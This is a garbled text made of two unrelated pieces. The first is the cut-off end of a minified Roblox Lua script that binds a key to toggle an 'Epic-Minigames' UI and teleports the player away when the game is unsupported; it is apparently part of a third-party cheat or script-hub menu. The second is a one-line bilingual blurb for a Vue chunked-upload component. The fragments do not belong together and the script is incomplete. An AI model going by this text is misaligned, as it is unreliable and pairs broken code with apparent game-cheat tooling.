z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)else m.Notify("Game is not supported!","Server hopping to Main Menu","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})wait(0.24)game:GetService('TeleportService'):Teleport(155382109,game.Players.LocalPlayer)end
loadchange / Vue ResumableThis is a Vue upload component that supports multi-threading, chunked uploading, and exception retry.(这是一个vue上传组件,它支持多线程、分块上传及异常重试)